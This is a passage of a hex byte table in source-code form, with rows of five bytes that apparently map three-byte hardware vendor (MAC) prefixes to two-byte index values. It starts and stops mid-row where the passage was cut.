0xf6, 0x2b,\r\n0x38, 0x16, 0xD1, 0x4f, 0x02,\r\n0x38, 0x17, 0x66, 0xf7, 0x2b,\r\n0x38, 0x17, 0xC3, 0xc9, 0x01,\r\n0x38, 0x17, 0xE1, 0xc2, 0x12,\r\n0x38, 0x19, 0x2F, 0x4f, 0x12,\r\n0x38, 0x1C, 0x1A, 0x05, 0x00,\r\n0x38, 0x1C, 0x23, 0xf8, 0x2b,\r\n0x38, 0x1C, 0x4A, 0xf9, 0x2b,\r\n0x38, 0x1D, 0xD9, 0xd9, 0x2b,\r\n0x38, 0x20, 0x56, 0x05, 0x00,\r\n0x38, 0x20, 0xA8, 0xfa, 0x2b,\r\n0x38, 0x21, 0x87, 0xfb, 0x2b,\r\n0x38, 0x22, 0x9D, 0x71, 0x07,\r\n0x38, 0x22, 0xD6, 0x10, 0x0e,\r\n0x38, 0x25, 0x6B, 0xb4, 0x03,\r\n0x38, 0x26, 0x2B, 0xfc, 0x2b,\r\n0x38, 0x26, 0xCD, 0xfd, 0x2b,\r\n0x38, 0x28, 0xEA, 0x4f, 0x06,\r\n0x38, 0x29, 0x5A, 0xc8, 0x0a,\r\n0x38, 0x29, 0xDD, 0xfe, 0x2b,\r\n0x38, 0x2B, 0x78, 0xff, 0x2b,\r\n0x38, 0x2C, 0x4A, 0x20, 0x0b,\r\n0x38, 0x2D, 0xD1, 0x4f, 0x02,\r\n0x38, 0x2D, 0xE8, 0x4f, 0x02,\r\n0x38, 0x31, 0xAC, 0x00, 0x2c,\r\n0x38, 0x35, 0xFB, 0xc4, 0x0c,\r\n0x38, 0x37, 0x8B, 0xda, 0x14,\r\n0x38, 0x3A, 0x21, 0x57, 0x17,\r\n0x38, 0x3B, 0xC8, 0x02, 0x0c,\r\n0x38, 0x3F, 0x10, 0x01, 0x2c,\r\n0x38, 0x42, 0x33, 0x02, 0x2c,\r\n0x38, 0x42, 0xA6, 0x0e, 0x1a,\r\n0x38, 0x43, 0x69, 0x03, 0x2c,\r\n0x38, 0x43, 0x7D, 0x04, 0x2c,\r\n0x38, 0x45, 0x4C, 0x05, 0x2c,\r\n0x38, 0x45, 0x8C, 0x06, 0x2c,\r\n0x38, 0x46, 0x08, 0xe1, 0x12,\r\n0x38, 0x48, 0x4C, 0x51, 0x03,\r\n0x38, 0x4B, 0x76, 0x07, 0x2c,\r\n0x38, 0x4C, 0x4F, 0xda, 0x14,\r\n0x38, 0x4C, 0x90, 0xb9, 0x00,\r\n0x38, 0x4F, 0x49, 0x08, 0x05,\r\n0x38, 0x4F, 0xF0, 0xb5, 0x12,\r\n0x38, 0x52, 0x1A, 0x4f, 0x12,\r\n0x38, 0x56, 0x10, 0x08, 0x2c,\r\n0x38, 0x56, 0xB5, 0x09, 0x2c,\r\n0x38, 0x58, 0x0C, 0x9e, 0x14,\r\n0x38, 0x59, 0xF8, 0x0a, 0x2c,\r\n0x38, 0x59, 0xF9, 0xe3, 0x11,\r\n0x38, 0x5A, 0xA8, 0x7b, 0x08,\r\n0x38, 0x5F, 0x66, 0xc4, 0x14,\r\n0x38, 0x5F, 0xC3, 0x0b, 0x2c,\r\n0x38, 0x60, 0x77, 0x97, 0x22,\r\n0x38, 0x63, 0xBB, 0xc9, 0x01,\r\n0x38, 0x63, 0xF6, 0x0c, 0x2c,\r\n0x38, 0x66, 0x45, 0x0d, 0x2c,\r\n0x38, 0x66, 0xF0, 0x51, 0x03,\r\n0x38, 0x67, 0x93, 0x0e, 0x2c,\r\n0x38, 0x68, 0xDD, 0x49, 0x08,\r\n0x38, 0x6B, 0x1C, 0xe9, 0x01,\r\n0x38, 0x6B, 0xBB, 0xb9, 0x00,\r\n0x38, 0x6C, 0x9B, 0x0f, 0x2c,\r\n0x38, 0x6E, 0x21, 0x10, 0x2c,\r\n0x38, 0x6E, 0x88, 0xe1, 0x12,\r\n0x38, 0x6E, 0xA2, 0x5d, 0x28,\r\n0x38, 0x70, 0x0C, 0xb9, 0x00,\r\n0x38, 0x71, 0xDE, 0x51, 0x03,\r\n0x38, 0x72, 0xC0, 0x5c, 0x18,\r\n0x38, 0x73, 0xEA, 0x57, 0x17,\r\n0x38, 0x76, 0xCA, 0xe9, 0x01,\r\n0x38, 0x76, 0xD1, 0x11, 0x2c,\r\n0x38, 0x78, 0x62, 0xbe, 0x09,\r\n0x38, 0x7B, 0x47, 0x12, 0x2c,\r\n0x38, 0x80, 0xDF, 0x22, 0x09,\r\n0x38, 0x83, 0x45, 0xcf, 0x09,\r\n0x38, 0x86, 0x02, 0x13, 0x2c,\r\n0x38, 0x89, 0x2C, 0x51, 0x03,\r\n0x38, 0x89, 0xDC, 0x14, 0x2c,\r\n0x38, 0x8A, 0xB7, 0x15, 0x2c,\r\n0x38, 0x8B, 0x59, 0x0a, 0x16,\r\n0x38, 0x8C, 0x50, 0xce, 0x17,\r\n0x38, 0x8E, 0xE7, 0x16, 0x2c,\r\n0x38, 0x90, 0xA5, 0x05, 0x00,\r\n0x38, 0x91, 0xD5, 0x10, 0x0e,\r\n0x38, 0x91, 0xFB, 0x17, 0x2c,\r\n0x38, 0x94, 0x96, 0x4f, 0x02,\r\n0x38, 0x94, 0xE0, 0x18, 0x2c,\r\n0x38, 0x95, 0x92, 0xb3, 0x10,\r\n0x38, 0x97, 0xD6, 0x10, 0x0e,\r\n0x38, 0x98, 0xD8, 0x19, 0x2c,\r\n0x38, 0x9A, 0xF6, 0x4f, 0x02,\r\n0x38, 0x9D, 0x92, 0x41, 0x00,\r\n0x38, 0x9F, 0x5A, 0x1a, 0x2c,\r\n0x38, 0x9F, 0x83, 0x1b, 0x2c,\r\n0x38, 0xA2, 0x8C, 0xe9, 0x01,\r\n0x38, 0xA4, 0xED, 0x34, 0x24,\r\n0x38, 0xA5, 0x3C, 0x1c, 0x2c,\r\n0x38, 0xA5, 0xB6, 0xe9, 0x01,\r\n0x38, 0xA6, 0xCE, 0xf8, 0x15,\r\n0x38, 0xA8, 0x51, 0x1d, 0x2c,\r\n0x38, 0xA8, 0x6B, 0x1e, 0x2c,\r\n0x38, 0xA9, 0x5F, 0x1f, 0x2c,\r\n0x38, 0xAA, 0x3C, 0x4f, 0x02,\r\n0x38, 0xAC, 0x3D, 0x20, 0x2c,\r\n0x38, 0xAD, 0x8E, 0x1a, 0x2a,\r\n0x38, 0xAD, 0xBE, 0x1a, 0x2a,\r\n0x38, 0xAF, 0x29, 0x27, 0x07,\r\n0x38, 0xAF, 0xD7, 0x07, 0x00,\r\n0x38, 0xB1, 0x2D, 0x21, 0x2c,\r\n0x38, 0xB1, 0xDB, 0xe3, 0x11,\r\n0x38, 0xB5, 0x4D, 0x51, 0x03,\r\n0x38, 0xB5, 0xBD, 0x22, 0x2c,\r\n0x38, 0xB7, 0x25, 0x83, 0x28,\r\n0x38, 0xB7, 0x4D, 0x23, 0x2c,\r\n0x38, 0xB8, 0xEB, 0x57, 0x17,\r\n0x38, 0xBA, 0xF8, 0x80, 0x10,\r\n0x38, 0xBB, 0x23, 0x24, 0x2c,\r\n0x38, 0xBB, 0x3C, 0xc2, 0x03,\r\n0x38, 0xBC, 0x01, 0xda, 0x14,\r\n0x38, 0xBC, 0x1A, 0x25, 0x2c,\r\n0x38, 0xBF, 0x2F, 0x26, 0x2c,\r\n0x38, 0xBF, 0x33, 0x03, 0x29,\r\n0x38, 0xC0, 0x96, 0x93, 0x02,\r\n0x38, 0xC7, 0x0A, 0x27, 0x2c,\r\n0x38, 0xC7, 0xBA, 0x28, 0x2c,\r\n0x38, 0xC8, 0x5C, 0xc4, 0x14,\r\n0x38, 0xC9, 0x86, 0x51, 0x03,\r\n0x38, 0xC9, 0xA9, 0x29, 0x2c,\r\n0x38, 0xCA, 0x97, 0x2a, 0x2c,\r\n0x38, 0xCA, 0xDA, 0x51, 0x03,\r\n0x38, 0xCD, 0x07, 0x2b, 0x2c,\r\n0x38, 0xD1, 0x35, 0x2c, 0x2c,\r\n0x38, 0xD2, 0x69, 0xeb, 0x0f,\r\n0x38, 0xD4, 0x0B, 0x4f, 0x02,\r\n0x38, 0xD5, 0x47, 0x20, 0x0b,\r\n0x38, 0xD6, 0x20, 0x2d, 0x2c,\r\n0x38, 0xD7, 0xCA, 0x2e, 0x2c,\r\n0x38, 0xD8, 0x2F, 0xe1, 0x12,\r\n0x38, 0xDB, 0xBB, 0x2f, 0x2c,\r\n0x38, 0xDE, 0x60, 0x30, 0x2c,\r\n0x38, 0xDE, 0xAD, 0x80, 0x10,\r\n0x38, 0xE0, 0x8E, 0xb2, 0x00,\r\n0x38, 0xE1, 0xAA, 0xe1, 0x12,\r\n0x38, 0xE2, 0xDD, 0xe1, 0x12,\r\n0x38, 0xE3, 0xC5, 0x56, 0x2b,\r\n0x38, 0xE5, 0x95, 0xe9, 0x01,\r\n0x38, 0xE6, 0x0A, 0x34, 0x24,\r\n0x38, 0xE7, 0xD8, 0x3f, 0x08,\r\n0x38, 0xE8, 0xDF, 0x31, 0x2c,\r\n0x38, 0xE9, 0x8C, 0x32, 0x2c,\r\n0x38, 0xEA, 0xA7, 0xc9, 0x01,\r\n0x38, 0xEC, 0x11, 0x33, 0x2c,\r\n0x38, 0xEC, 0xE4, 0x4f, 0x02,\r\n0x38, 0xED, 0x18, 0x05, 0x00,\r\n0x38, 0xEE, 0x9D, 0x34, 0x2c,\r\n0x38, 0xF0, 0x98, 0x35, 0x2c,\r\n0x38, 0xF0, 0xC8, 0x36, 0x2c,\r\n0x38, 0xF1, 0x35, 0x37, 0x2c,\r\n0x38, 0xF2, 0x3E, 0xb4, 0x03,\r\n0x38, 0xF3, 0x3F, 0x38, 0x2c,\r\n0x38, 0xF5, 0x54, 0x39, 0x2c,\r\n0x38, 0xF5, 0x57, 0x3a, 0x2c,\r\n0x38, 0xF5, 0x97, 0x3b, 0x2c,\r\n0x38, 0xF7, 0x08, 0xf5, 0x04,\r\n0x38, 0xF7, 0x3D, 0x96, 0x22,\r\n0x38, 0xF7, 0xB2, 0x3c, 0x2c,\r\n0x38, 0xF8, 0x89, 0xda, 0x14,\r\n0x38, 0xF8, 0xB7, 0x3d, 0x2c,\r\n0x38, 0xF8, 0xCA, 0x3e, 0x2c,\r\n0x38, 0xFA, 0xCA, 0x50, 0x13,\r\n0x38, 0xFD, 0xFE, 0x57, 0x17,\r\n0x38, 0xFE, 0xC5, 0x3f, 0x2c,\r\n0x38, 0xFF, 0x36, 0x02, 0x11,\r\n0x3A, 0x02, 0x92, 0x40, 0x2c,\r\n0x3A, 0x5E, 0x03, 0x41, 0x2c,\r\n0x3A, 0xA3, 0xF8, 0xe1, 0x0d,\r\n0x3A, 0xBA, 0x37, 0x42, 0x2c,\r\n0x3A, 0xCF, 0xC5, 0x43, 0x2c,\r\n0x3C, 0x00, 0x00, 0x1e, 0x04,\r\n0x3C, 0x02, 0xB1, 0x44, 0x2c,\r\n0x3C, 0x04, 0x61, 0xb9, 0x00,\r\n0x3C, 0x04, 0xBF, 0x45, 0x2c,\r\n0x3C, 0x05, 0x18, 0x4f, 0x02,\r\n0x3C, 0x05, 0xAB, 0x46, 0x2c,\r\n0x3C, 0x07, 0x54, 0x51, 0x03,\r\n0x3C, 0x07, 0x71, 0x34, 0x01,\r\n0x3C, 0x08, 0x1E, 0x47, 0x2c,\r\n0x3C, 0x08, 0xF6, 0x05, 0x00,\r\n0x3C, 0x09, 0x6D, 0x48, 0x2c,\r\n0x3C, 0x0C, 0x48, 0x49, 0x2c,\r\n0x3C, 0x0C, 0xDB, 0xee, 0x15,\r\n0x3C, 0x0E, 0x23, 0x05, 0x00,\r\n0x3C, 0x0F, 0xC1, 0x4a, 0x2c,\r\n0x3C, 0x10, 0x40, 0x4b, 0x2c,\r\n0x3C, 0x10, 0x6F, 0x4c, 0x2c,\r\n0x3C, 0x10, 0xE6, 0x4d, 0x2c,\r\n0x3C, 0x11, 0xB2, 0x01, 0x0f,\r\n0x3C, 0x15, 0xC2, 0x51, 0x03,\r\n0x3C, 0x15, 0xEA, 0x4e, 0x2c,\r\n0x3C, 0x15, 0xFB, 0xda, 0x14,\r\n0x3C, 0x17, 0x10, 0xc4, 0x0c,\r\n0x3C, 0x18, 0x9F, 0x4f, 0x12,\r\n0x3C, 0x18, 0xA0, 0x4f, 0x2c,\r\n0x3C, 0x19, 0x15, 0x50, 0x2c,\r\n0x3C, 0x19, 0x7D, 0xce, 0x01,\r\n0x3C, 0x1A, 0x0F, 0x51, 0x2c,\r\n0x3C, 0x1A, 0x57, 0x52, 0x2c,\r\n0x3C, 0x1A, 0x79, 0x53, 0x2c,\r\n0x3C, 0x1C, 0xBE, 0x54, 0x2c,\r\n0x3C, 0x1E, 0x04, 0xde, 0x28,\r\n0x3C, 0x1E, 0x13, 0x10, 0x0e,\r\n0x3C, 0x24, 0xF0, 0x57, 0x17,\r\n0x3C, 0x25, 0xD7, 0x4f, 0x12,\r\n0x3C, 0x26, 0xD5, 0x55, 0x2c,\r\n0x3C, 0x27, 0x63, 0x56, 0x2c,\r\n0x3C, 0x2A, 0xF4, 0x43, 0x17,\r\n0x3C, 0x2C, 0x94, 0x57, 0x2c,\r\n0x3C, 0x2C, 0x99, 0x58, 0x2c,\r\n0x3C, 0x2D, 0xB7, 0xeb, 0x0f,\r\n0x3C, 0x2E, 0xF9, 0x51, 0x03,\r\n0x3C, 0x2E, 0xFF, 0x51, 0x03,\r\n0x3C, 0x2F, 0x3A, 0x59, 0x2c,\r\n0x3C, 0x30, 0x0C, 0x5a, 0x2c,\r\n0x3C, 0x31, 0x78, 0x5b, 0x2c,\r\n0x3C, 0x33, 0x00, 0xe9, 0x01,\r\n0x3C, 0x35, 0x56, 0x5c, 0x2c,\r\n0x3C, 0x36, 0x3D, 0x4f, 0x12,\r\n0x3C, 0x36, 0xE4, 0xb9, 0x00,\r\n0x3C, 0x38, 0x88, 0x5d, 0x2c,\r\n0x3C, 0x39, 0xC3, 0x5e, 0x2c,\r\n0x3C, 0x39, 0xE7, 0x57, 0x17,\r\n0x3C, 0x3A, 0x73, 0xc2, 0x03,\r\n0x3C, 0x3F, 0x51, 0x5f, 0x2c,\r\n0x3C, 0x40, 0x4F, 0xc8, 0x0a,\r\n0x3C, 0x43, 0x8E, 0xb9, 0x00,\r\n0x3C, 0x46, 0xD8, 0xcf, 0x09,\r\n0x3C, 0x47, 0x11, 0xda, 0x14,\r\n0x3C, 0x47, 0x9B, 0x60, 0x2c,\r\n0x3C, 0x49, 0x37, 0x61, 0x2c,\r\n0x3C, 0x4A, 0x92, 0xc9, 0x01,\r\n0x3C, 0x4C, 0x69, 0x62, 0x2c,\r\n0x3C, 0x4C, 0xD0, 0x20, 0x09,\r\n0x3C, 0x4E, 0x47, 0x63, 0x2c,\r\n0x3C, 0x52, 0x82, 0xc9, 0x01,\r\n0x3C, 0x57, 0x4F, 0xe5, 0x25,\r\n0x3C, 0x57, 0x6C, 0x4f, 0x02,\r\n0x3C, 0x57, 0xBD, 0x64, 0x2c,\r\n0x3C, 0x57, 0xD5, 0x65, 0x2c,\r\n0x3C, 0x59, 0x1E, 0x66, 0x2c,\r\n0x3C, 0x5A, 0x37, 0x4f, 0x02,\r\n0x3C, 0x5A, 0xB4, 0x0a, 0x16,\r\n0x3C, 0x5C, 0xC3, 0xe9, 0x01,\r\n0x3C, 0x5E, 0xC3, 0x05, 0x00,\r\n0x3C, 0x5F, 0x01, 0x67, 0x2c,\r\n0x3C, 0x61, 0x04, 0x08, 0x05,\r\n0x3C, 0x62, 0x00, 0x4f, 0x02,\r\n0x3C, 0x62, 0x78, 0xe9, 0x01,\r\n0x3C, 0x67, 0x16, 0x68, 0x2c,\r\n0x3C, 0x67, 0x2C, 0x69, 0x2c,\r\n0x3C, 0x67, 0x8C, 0xda, 0x14,\r\n0x3C, 0x68, 0x16, 0x17, 0x1e,\r\n0x3C, 0x6A, 0x7D, 0x6a, 0x2c,\r\n0x3C, 0x6A, 0x9D, 0x6b, 0x2c,\r\n0x3C, 0x6A, 0xA7, 0x80, 0x10,\r\n0x3C, 0x6E, 0x63, 0x6c, 0x2c,\r\n0x3C, 0x6F, 0x45, 0x6d, 0x2c,\r\n0x3C, 0x6F, 0xEA, 0x5e, 0x0d,\r\n0x3C, 0x6F, 0xF7, 0x6e, 0x2c,\r\n0x3C, 0x70, 0x59, 0x6f, 0x2c,\r\n0x3C, 0x74, 0x37, 0xe2, 0x1c,\r\n0x3C, 0x75, 0x4A, 0xb9, 0x00,\r\n0x3C, 0x77, 0xE6, 0xe3, 0x11,\r\n0x3C, 0x78, 0x43, 0xda, 0x14,\r\n0x3C, 0x78, 0x73, 0x70, 0x2c,\r\n0x3C, 0x7A, 0x8A, 0xb9, 0x00,\r\n0x3C, 0x7D, 0xB1, 0xeb, 0x0f,\r\n0x3C, 0x7F, 0x6F, 0x71, 0x2c,\r\n0x3C, 0x80, 0xAA, 0x72, 0x2c,\r\n0x3C, 0x81, 0xD8, 0xc4, 0x0c,\r\n0x3C, 0x83, 0x1E, 0x73, 0x2c,\r\n0x3C, 0x83, 0x75, 0xb4, 0x03,\r\n0x3C, 0x83, 0xB5, 0x74, 0x2c,\r\n0x3C, 0x86, 0xA8, 0x75, 0x2c,\r\n0x3C, 0x89, 0x70, 0x76, 0x2c,\r\n0x3C, 0x89, 0xA6, 0x77, 0x2c,\r\n0x3C, 0x8A, 0xB0, 0x08, 0x05,\r\n0x3C, 0x8A, 0xE5, 0x78, 0x2c,\r\n0x3C, 0x8B, 0xCD, 0xd1, 0x06,\r\n0x3C, 0x8B, 0xFE, 0x4f, 0x02,\r\n0x3C, 0x8C, 0x40, 0x10, 0x0e,\r\n0x3C, 0x8C, 0xF8, 0x04, 0x12,\r\n0x3C, 0x90, 0x66, 0xd8, 0x1c,\r\n0x3C, 0x91, 0x2B, 0x79, 0x2c,\r\n0x3C, 0x91, 0x57, 0x47, 0x13,\r\n0x3C, 0x91, 0x74, 0x7a, 0x2c,\r\n0x3C, 0x92, 0xDC, 0x7b, 0x2c,\r\n0x3C, 0x94, 0xD5, 0x08, 0x05,\r\n0x3C, 0x95, 0x09, 0x21, 0x1c,\r\n0x3C, 0x97, 0x0E, 0x83, 0x28,\r\n0x3C, 0x97, 0x7E, 0x7c, 0x2c,\r\n0x3C, 0x98, 0x72, 0xef, 0x0c,\r\n0x3C, 0x98, 0xBF, 0x7d, 0x2c,\r\n0x3C, 0x99, 0xF7, 0x7e, 0x2c,\r\n0x3C, 0x9A, 0x77, 0xc2, 0x12,\r\n0x3C, 0x9F, 0x81, 0xe9, 0x01,\r\n0x3C, 0xA0, 0x67, 0x21, 0x1c,\r\n0x3C, 0xA1, 0x0D, 0x4f, 0x02,\r\n0x3C, 0xA3, 0x08, 0xeb, 0x0f,\r\n0x3C, 0xA3, 0x15, 0x7f, 0x2c,\r\n0x3C, 0xA3, 0x1A, 0x80, 0x2c,\r\n0x3C, 0xA3, 0x48, 0x5d, 0x28,\r\n0x3C, 0xA5, 0x81, 0x5d, 0x28,\r\n0x3C, 0xA6, 0x16, 0x5d, 0x28,\r\n0x3C, 0xA7, 0x2B, 0xef, 0x0d,\r\n0x3C, 0xA8, 0x2A, 0xc9, 0x01,\r\n0x3C, 0xA9, 0xF4, 0x80, 0x10,\r\n0x3C, 0xAA, 0x3F, 0x81, 0x2c,\r\n0x3C, 0xAB, 0x8E, 0x51, 0x03,\r\n0x3C, 0xAE, 0x69, 0x82, 0x2c,\r\n0x3C, 0xB1, 0x5B, 0xc2, 0x03,\r\n0x3C, 0xB1, 0x7F, 0x83, 0x2c,\r\n0x3C, 0xB6, 0xB7, 0x5d, 0x28,\r\n0x3C, 0xB7, 0x2B, 0x84, 0x2c,\r\n0x3C, 0xB7, 0x92, 0x4b, 0x09,\r\n0x3C, 0xB8, 0x7A, 0x65, 0x00,\r\n0x3C, 0xB9, 0xA6, 0x85, 0x2c,\r\n0x3C, 0xBB, 0x73, 0xe9, 0x01,\r\n0x3C, 0xBB, 0xFD, 0x4f, 0x02,\r\n0x3C, 0xBD, 0x3E, 0x87, 0x14,\r\n0x3C, 0xBD, 0xD8, 0xce, 0x17,\r\n0x3C, 0xBE, 0xE1, 0xf4, 0x23,\r\n0x3C, 0xC0, 0x79, 0xe9, 0x01,\r\n0x3C, 0xC0, 0xC6, 0x86, 0x2c,\r\n0x3C, 0xC1, 0x2C, 0x87, 0x2c,\r\n0x3C, 0xC1, 0xF6, 0x88, 0x2c,\r\n0x3C, 0xC2, 0x43, 0x4f, 0x12,\r\n0x3C, 0xC2, 0xE1, 0x89, 0x2c,\r\n0x3C, 0xC9, 0x9E, 0x8a, 0x2c,\r\n0x3C, 0xCA, 0x87, 0x8b, 0x2c,\r\n0x3C, 0xCB, 0x7C, 0xe1, 0x28,\r\n0x3C, 0xCD, 0x5A, 0x8c, 0x2c,\r\n0x3C, 0xCD, 0x5D, 0xda, 0x14,\r\n0x3C, 0xCD, 0x93, 0xce, 0x17,\r\n0x3C, 0xCE, 0x15, 0x8d, 0x2c,\r\n0x3C, 0xCE, 0x73, 0x05, 0x00,\r\n0x3C, 0xCF, 0x5B, 0x8e, 0x2c,\r\n0x3C, 0xD0, 0xF8, 0x51, 0x03,\r\n0x3C, 0xD1, 0x6E, 0x8f, 0x2c,\r\n0x3C, 0xD4, 0xD6, 0x61, 0x01,\r\n0x3C, 0xD7, 0xDA, 0x90, 0x2c,\r\n0x3C, 0xD9, 0x2B, 0xc9, 0x01,\r\n0x3C, 0xD9, 0xCE, 0x91, 0x2c,\r\n0x3C, 0xDA, 0x2A, 0xe1, 0x12,\r\n0x3C, 0xDC, 0xBC, 0x4f, 0x02,\r\n0x3C, 0xDD, 0x89, 0x92, 0x2c,\r\n0x3C, 0xDF, 0x1E, 0x05, 0x00,\r\n0x3C, 0xDF, 0xA9, 0xb9, 0x00,\r\n0x3C, 0xDF, 0xBD, 0xda, 0x14,\r\n0x3C, 0xE0, 0x72, 0x51, 0x03,\r\n0x3C, 0xE1, 0xA1, 0x0a, 0x01,\r\n0x3C, 0xE5, 0xA6, 0x10, 0x0e,\r\n0x3C, 0xE5, 0xB4, 0x93, 0x2c,\r\n0x3C, 0xE6, 0x24, 0x94, 0x2c,\r\n0x3C, 0xE8, 0x24, 0xda, 0x14,\r\n0x3C, 0xEA, 0x4F, 0x02, 0x0c,\r\n0x3C, 0xEA, 0xF9, 0x95, 0x2c,\r\n0x3C, 0xEA, 0xFB, 0x96, 0x2c,\r\n0x3C, 0xEF, 0x8C, 0x27, 0x07,\r\n0x3C, 0xF3, 0x92, 0x97, 0x2c,\r\n0x3C, 0xF4, 0xF9, 0x98, 0x2c,\r\n0x3C, 0xF5, 0x2C, 0x99, 0x2c,\r\n0x3C, 0xF5, 0x91, 0xc8, 0x0a,\r\n0x3C, 0xF5, 0xCC, 0x1a, 0x2a,\r\n0x3C, 0xF7, 0x2A, 0x4f, 0x12,\r\n0x3C, 0xF7, 0x48, 0xe9, 0x01,\r\n0x3C, 0xF7, 0xA4, 0x4f, 0x02,\r\n0x3C, 0xF8, 0x08, 0xda, 0x14,\r\n0x3C, 0xF8, 0x62, 0x80, 0x10,\r\n0x3C, 0xFA, 0x43, 0xda, 0x14,\r\n0x3C, 0xFB, 0x5C, 0x54, 0x1f,\r\n0x3C, 0xFB, 0x96, 0x9a, 0x2c,\r\n0x3C, 0xFD, 0xFE, 0x80, 0x10,\r\n0x40, 0x00, 0x03, 0x9b, 0x2c,\r\n0x40, 0x00, 0xE0, 0x9c, 0x2c,\r\n0x40, 0x01, 0x07, 0x9d, 0x2c,\r\n0x40, 0x01, 0x7A, 0x05, 0x00,\r\n0x40, 0x01, 0xC6, 0xc0, 0x03,\r\n0x40, 0x04, 0x0C, 0x9e, 0x2c,\r\n0x40, 0x06, 0xA0, 0xeb, 0x0f,\r\n0x40, 0x07, 0xC0, 0x9f, 0x2c,\r\n0x40, 0x0D, 0x10, 0xb9, 0x00,\r\n0x40, 0x0E, 0x67, 0xa0, 0x2c,\r\n0x40, 0x0E, 0x85, 0x4f, 0x02,\r\n0x40, 0x11, 0xDC, 0xa1, 0x2c,\r\n0x40, 0x12, 0xE4, 0xa2, 0x2c,\r\n0x40, 0x13, 0xD9, 0xa3, 0x2c,\r\n0x40, 0x15, 0x97, 0xa4, 0x2c,\r\n0x40, 0x16, 0x3B, 0x4f, 0x02,\r\n0x40, 0x16, 0x7E, 0x20, 0x0b,\r\n0x40, 0x16, 0x9F, 0xcf, 0x09,\r\n0x40, 0x16, 0xFA, 0xa5, 0x2c,\r\n0x40, 0x18, 0xB1, 0x95, 0x15,\r\n0x40, 0x18, 0xD7, 0xb5, 0x04,\r\n0x40, 0x1B, 0x5F, 0x15, 0x2a,\r\n0x40, 0x1D, 0x59, 0x15, 0x25,\r\n0x40, 0x22, 0xED, 0x98, 0x01,\r\n0x40, 0x25, 0xC2, 0x80, 0x10,\r\n0x40, 0x27, 0x0B, 0xa6, 0x2c,\r\n0x40, 0x28, 0x14, 0xa7, 0x2c,\r\n0x40, 0x2B, 0xA1, 0xbe, 0x09,\r\n0x40, 0x2C, 0xF4, 0x0a, 0x01,\r\n0x40, 0x2E, 0x28, 0xbf, 0x1c,\r\n0x40, 0x30, 0x04, 0x51, 0x03,\r\n0x40, 0x30, 0x67, 0xa8, 0x2c,\r\n0x40, 0x33, 0x1A, 0x51, 0x03,\r\n0x40, 0x33, 0x6C, 0xa9, 0x2c,\r\n0x40, 0x37, 0xAD, 0xaa, 0x2c,\r\n0x40, 0x3C, 0xFC, 0x51, 0x03,\r\n0x40, 0x3D, 0xEC, 0x38, 0x03,\r\n0x40, 0x3F, 0x8C, 0xcf, 0x09,\r\n0x40, 0x40, 0x22, 0xab, 0x2c,\r\n0x40, 0x40, 0x6B, 0xac, 0x2c,\r\n0x40, 0x40, 0xA7, 0xbe, 0x09,\r\n0x40, 0x42, 0x29, 0xad, 0x2c,\r\n0x40, 0x45, 0xDA, 0xae, 0x2c,\r\n0x40, 0x47, 0x6A, 0xaf, 0x2c,\r\n0x40, 0x48, 0xFD, 0x57, 0x17,\r\n0x40, 0x49, 0x0F, 0xe3, 0x11,\r\n0x40, 0x49, 0x8A, 0xb0, 0x2c,\r\n0x40, 0x4A, 0x03, 0xc6, 0x10,\r\n0x40, 0x4A, 0x18, 0xb1, 0x2c,\r\n0x40, 0x4A, 0xD4, 0xb2, 0x2c,\r\n0x40, 0x4D, 0x7F, 0x51, 0x03,\r\n0x40, 0x4D, 0x8E, 0xda, 0x14,\r\n0x40, 0x4E, 0x36, 0x3f, 0x08,\r\n0x40, 0x4E, 0xEB, 0xb3, 0x2c,\r\n0x40, 0x50, 0xB5, 0xe9, 0x01,\r\n0x40, 0x50, 0xE0, 0xb4, 0x2c,\r\n0x40, 0x51, 0x6C, 0xb5, 0x2c,\r\n0x40, 0x52, 0x0D, 0xb6, 0x2c,\r\n0x40, 0x54, 0xE4, 0xb7, 0x2c,\r\n0x40, 0x55, 0x39, 0x05, 0x00,\r\n0x40, 0x56, 0x0C, 0xb8, 0x2c,\r\n0x40, 0x56, 0x2D, 0xb5, 0x04,\r\n0x40, 0x5A, 0x9B, 0xb9, 0x2c,\r\n0x40, 0x5C, 0xFD, 0xd1, 0x05,\r\n0x40, 0x5D, 0x82, 0x68, 0x08,\r\n0x40, 0x5E, 0xE1, 0xe9, 0x01,\r\n0x40, 0x5F, 0xBE, 0xe2, 0x1c,\r\n0x40, 0x5F, 0xC2, 0xeb, 0x0f,\r\n0x40, 0x60, 0x5A, 0xba, 0x2c,\r\n0x40, 0x61, 0x86, 0x28, 0x0b,\r\n0x40, 0x61, 0x8E, 0xbb, 0x2c,\r\n0x40, 0x62, 0x31, 0xbc, 0x2c,\r\n0x40, 0x62, 0xB6, 0xbd, 0x2c,\r\n0x40, 0x64, 0xA4, 0x39, 0x23,\r\n0x40, 0x65, 0xA3, 0xc4, 0x0c,\r\n0x40, 0x66, 0x7A, 0xbe, 0x2c,\r\n0x40, 0x68, 0x26, 0xbf, 0x2c,\r\n0x40, 0x6A, 0x8E, 0x10, 0x0e,\r\n0x40, 0x6A, 0xAB, 0xe2, 0x1c,\r\n0x40, 0x6C, 0x8F, 0x51, 0x03,\r\n0x40, 0x6F, 0x2A, 0xc2, 0x0d,\r\n0x40, 0x70, 0x09, 0xb9, 0x00,\r\n0x40, 0x70, 0x4A, 0xc0, 0x2c,\r\n0x40, 0x70, 0x74, 0xc1, 0x2c,\r\n0x40, 0x71, 0x83, 0x08, 0x05,\r\n0x40, 0x74, 0x96, 0xc2, 0x2c,\r\n0x40, 0x78, 0x6A, 0x22, 0x09,\r\n0x40, 0x78, 0x75, 0xc3, 0x2c,\r\n0x40, 0x7A, 0x80, 0x4f, 0x12,\r\n0x40, 0x7B, 0x1B, 0xc4, 0x2c,\r\n0x40, 0x7C, 0x7D, 0x4f, 0x12,\r\n0x40, 0x7D, 0x0F, 0xda, 0x14,\r\n0x40, 0x7F, 0xE0, 0xc5, 0x2c,\r\n0x40, 0x82, 0x56, 0x6b, 0x19,\r\n0x40, 0x83, 0x1D, 0x51, 0x03,\r\n0x40, 0x83, 0xDE, 0xa9, 0x04,\r\n0x40, 0x84, 0x93, 0xc6, 0x2c,\r\n0x40, 0x86, 0x2E, 0xc7, 0x2c,\r\n0x40, 0x88, 0x05, 0x22, 0x09,\r\n0x40, 0x88, 0xE0, 0xbf, 0x07,\r\n0x40, 0x8A, 0x9A, 0xc8, 0x2c,\r\n0x40, 0x8B, 0x07, 0xe7, 0x0d,\r\n0x40, 0x8B, 0xF6, 0xe9, 0x01,\r\n0x40, 0x8D, 0x5C, 0xf4, 0x0b,\r\n0x40, 0x95, 0x58, 0xc9, 0x2c,\r\n0x40, 0x95, 0xBD, 0xca, 